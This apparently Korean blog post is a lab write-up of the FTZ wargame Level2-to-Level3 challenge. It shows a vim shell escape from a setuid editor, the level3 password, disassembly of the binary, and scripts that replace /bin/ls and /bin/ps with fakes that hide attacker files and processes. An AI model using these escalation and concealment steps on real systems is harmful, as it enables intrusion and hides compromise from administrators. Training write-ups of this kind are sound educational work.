■ Level2 -> Level3
목적
편집기 사용법
) -->
) -->
) -->
■ Level2 문제에 도전하기
) -->
level2 사용자로 로그인
-> ID/PASS: level2/hacker or cracker
) -->
[level2@ftz level2]$ ls -l
-rw-r--r-- 1 root root 60 3월 23 2000 hint drwxr-xr-x 2 root level2 4096 2월 24 2002 public_html drwxrwxr-x 2 root level2 4096 1월 16 2009 tmp |
) -->
[level2@ftz level2]$ cat hint
) --> 텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데... ) --> |
) -->
[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null
/usr/bin/editor |
) -->
[level2@ftz level2]$ ls -l /usr/bin/editor
-rwsr-x--- 1 level3 level2 11651 8월 19 12:58 /usr/bin/editor |
$ expr 11651 / 1024 = 11Kb 용량이 작은것으로 보아 이 프로그램이 아닌 것 같다.
) -->
[level2@ftz level2]$ which vi
alias vi='vim' /usr/bin/vim |
) -->
[level2@ftz level2]$ ls -l /bin/vi
-rwxr-xr-x 1 root root 456108 2월 12 2003 /bin/vi |
) -->
[level2@ftz level2]$ ls -l /usr/bin/vim
-rwxr-xr-x 1 root root 1893740 2월 12 2003 /usr/bin/vim |
) -->
[참고] 필요하면 명령어 수행
# /bin/vi
# /usr/bin/vim
) -->
[level2@ftz level2]$ /usr/bin/editor
~ ~ ~ VIM - Vi IMproved 개선된 vi 편집기 ~ ~ version 6.1.320 ~ by Bram Moolenaar et al. ~ Vim is open source and freely distributable ~ ~ Help poor children in Uganda! ~ type :help iccf<Enter> for information ~ ~ type :q<Enter> to exit ~ type :help<Enter> or <F1> for on-line help ~ type :help version6<Enter> for version info ~ ~ ~ :! id uid=3003(level3) gid=3002(level2) groups=3002(level2) Hit ENTER or type command to continue<ENTER> :! bash |
편집기 사용중 쉘의 명령을 사용할 수 있다.(HINT)
) -->
[level3@ftz level2]$ my-pass
) --> Level3 Password is "can you fly?". ) --> |
) -->
[level3@ftz level2]$ exit
exit ) --> shell returned 37 ) --> Hit ENTER or type command to continue <ENTER> :q! |
) -->
[level2@ftz level2]$ telnet localhost
level3/can you fly?
) -->
[level3@ftz level3]$ exit
[level2@ftz level2]$
) -->
) -->
[용어] 편집기 백도어
) -->해당 에디터 분석
) -->
) -->
) -->
■ 리버싱을 통한 의사 코드 복원
) -->
[level2@ftz level2]$ gdb /usr/bin/editor
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main Dump of assembler code for function main: 0x08048360 <main+0>: push %ebp 0x08048361 <main+1>: mov %esp,%ebp 0x08048363 <main+3>: sub $0x8,%esp 0x08048366 <main+6>: and $0xfffffff0,%esp 0x08048369 <main+9>: mov $0x0,%eax 0x0804836e <main+14>: sub %eax,%esp 0x08048370 <main+16>: sub $0x8,%esp 0x08048373 <main+19>: push $0xbbb 0xbbb : (10진수) 3003 <-level3의 ID값 0x08048378 <main+24>: push $0xbbb 0xbbb : (10진수) 3003 0x0804837d <main+29>: call 0x80482a0 <setreuid> int setreuid(uid_t ruid, uid_t euid); 0x08048382 <main+34>: add $0x10,%esp 0x08048385 <main+37>: sub $0xc,%esp 0x08048388 <main+40>: push $0x8048444 x/s값 "/bin/vi" 0x0804838d <main+45>: call 0x8048280 <system> 0x08048392 <main+50>: add $0x10,%esp 0x08048395 <main+53>: leave 0x08048396 <main+54>: ret 0x08048397 <main+55>: nop End of assembler dump. (gdb) x/2x 0x8048444 0x8048444 <_IO_stdin_used+4>: 0x6e69622f 0x0069762f (gdb) x/s 0x8048444 0x8048444 <_IO_stdin_used+4>: "/bin/vi" (gdb) quit |
) -->
분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.
# vi /usr/bin/editor.c
#include <stdio.h> ) --> int main() { ) --> setreuid(3003, 3003); system("/bin/vi"); ) --> } |
편집기를 사용할 때 level3의 권한을 얻는다.
) -->
의사코드를 통해 알수 있는 내용
편집기 백도어 프로그램
) -->
기존 프로그램을 대치하는 프로그램(쉘 스크립트)
기존의 프로그램을 대치하는 프로그램
=> 목적-백도어같은 프로그램이 실행되어있는지 알 수 없도록
좋은용도/나쁜용도
(linux200)
) -->
(목적) 좋은 용도(EX: /usr/bin/passwd)
) -->
/usr/bin/passwd
/usr/bin/passwd 명령어를 사용할 때 누가(id CMD)/언제(data CMD) 실행했는지
별도의 로그 파일에 기록할 수 있는가?
) -->
# vi /root/bin/passwd
#!/bin/bash ) --> id >> /test/passwd.log date >> /test/passwd.log echo >> /test/passwd.log ) --> /usr/bin/passwd.old $* /* # mv /usr/bin/passwd /usr/bin/passwd.old */ |
$* 인자 전체를 나타낸다.
) -->
# touch /test/passwd.log
# chmod 777 /test/passwd.log 테스트용 퍼미션, 다른사용자는 볼수 없게하려면 600퍼미션
) -->
# chmod 755 /root/bin/passwd
) -->
# mv /usr/bin/passwd /usr/bin/passwd.old
# cp /root/bin/passwd /usr/bin/passwd
) -->
# passwd user01
관리자가 passwd user01을 치면 /root/bin/passwd에 적은 것을 실행하고 실행하기 때문에 사용자는 모르고
Changing password for user user01. New UNIX password: (user01) BAD PASSWORD: it is based on a dictionary word Retype new UNIX password: (user01) passwd: all authentication tokens updated successfully. |
-> 관리자의 암호 변경
) -->
# cat /test/passwd.log
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Tue Dec 23 11:20:39 KST 2014 ) --> |
) -->
(복원작업)
# mv /usr/bin/passwd.old /usr/bin/passwd
) -->
) -->
==============================================================================
) -->
(목적) 악의적인 용도(EX: /bin/ls)
) -->
■ /bin/ls(Orignal program) ==== 교체 ====> /bin/ls(Hacker's program)
# ls
-> 내가 설치한 프로그램은 안보이도록 설정
-> 파일 이름: hacker_file
) -->
) -->
■ /bin/ps(Orignal program) ==== 교체 ====> /bin/ps(Hacker's program)
# ps -ef
-> 자신이 띄운 프로세스는 안보이도록 설정
-> 프로세스 이름: hacker_process
) -->
) -->Fake ls 명령어 생성
/bin/ls 명령어를 대신할 /root/bin/ls 명령어 만들기(Fake ls)
# vi /root/bin/ls
#!/bin/bash ) --> /bin/ls $* | grep -v hacker_file |
=> v옵션을 통해 hacker_file을 제외시킨다.
# chmod 755 /root/bin/ls
) -->
# cd /test
# touch hacker_file
# /root/bin/ls -l
-rw-r--r-- 1 root root 75 Jan 18 22:10 backdoor.c -rwsr-xr-x 1 root root 736348 Jan 18 22:02 bash -rwxr-xr-x 1 root root 5150 Jan 18 22:11 bashshell -rwxrwxrwx 1 root root 118 Jan 20 17:01 passwd.log |
-> hacker_file 파일이 보이는가?
) -->
# /bin/ls -l
-rw-r--r-- 1 root root 75 Jan 18 22:10 backdoor.c -rwsr-xr-x 1 root root 736348 Jan 18 22:02 bash -rwxr-xr-x 1 root root 5150 Jan 18 22:11 bashshell -rw-r--r-- 1 root root 0 Jan 20 17:32 hacker_file -rwxrwxrwx 1 root root 118 Jan 20 17:01 passwd.log |
-> hacker_file 파일이 보이는가?
) -->
# /root/bin/ls -altr
-rwsr-xr-x 1 root root 736348 Jan 18 22:02 bash -rw-r--r-- 1 root root 75 Jan 18 22:10 backdoor.c -rwxr-xr-x 1 root root 5150 Jan 18 22:11 bashshell drwxr-xr-x 24 root root 4096 Jan 20 16:47 .. -rwxrwxrwx 1 root root 118 Jan 20 17:01 passwd.log drwxr-xr-x 2 root root 4096 Jan 20 17:32 . |
=> 대치시키지 않아서 적용은 안되지만 /root/bin/ls를 사용하면 볼 수 없는걸 알 수 있다.
# /root/bin/ls /root/bin/*.sh
/root/bin/add_userlist.sh /root/bin/arp.sh /root/bin/auto_ftp2.sh /root/bin/auto_ftp.sh /root/bin/auto_telnet_ftp.sh /root/bin/banner_telnet.sh /root/bin/bomb_exec.sh /root/bin/bomb.sh .... (중략) .... |
) -->
■ /bin/ls(Orignal program) ==== 교체 ====> /root/bin/ls(Hacker's program)
# cp /bin/ls /bin/ls.old
# cp /root/bin/ls /bin/ls
# vi /bin/ls
/bin/ls.old $* | grep -v hacker_file
) -->
[실습] ps 명령어 실습
[TERM1] 명령어1 터미널
# vi /root/bin/ps
#!/bin/bash ) --> /bin/ps "$*" | egrep -v hacker_process |
) -->
# chmod 755 /root/bin/ps
) -->
# cd /test
# vi hacker_process
#!/bin/bash ) --> sleep 86400 |
) -->
# chmod 755 hacker_process
# ./hacker_process
) -->
[TERM2] 명령어2 터미널
# /root/bin/ps -ef | grep hacker_process
#
-> hacker_process 프로세스가 보이는가?
) -->
# /bin/ps -ef | grep hacker_process
root 6290 5983 0 11:36 pts/1 00:00:00 /bin/bash ./hacker_process |
-> hacker_process 프로세스가 보이는가?
) -->
■ /bin/ps(Orignal program) ==== 교체 ====> /root/bin/ps(Hacker's program)
# cp /bin/ps /bin/ps.old
# cp /root/bin/ps /bin/ps
# vi /bin/ps
/bin/ps.old "$*" | egrep -v hacker_process
'Learning > └◆Reversing' 카테고리의 다른 글
05_Level4 -> Level5[FTZ] xinetd 방식 여러가지 로컬/원격 백도어 (0) | 2017.01.20 |
---|---|
04_Level3 -> Level4[FTZ] system() 함수의 취약점 분석 (0) | 2017.01.20 |
[실습] C언어 코드와 어셈블리 언어 코드 테이블 제작 (0) | 2017.01.19 |
[과제] gdb(디버거) 사용법 (0) | 2017.01.19 |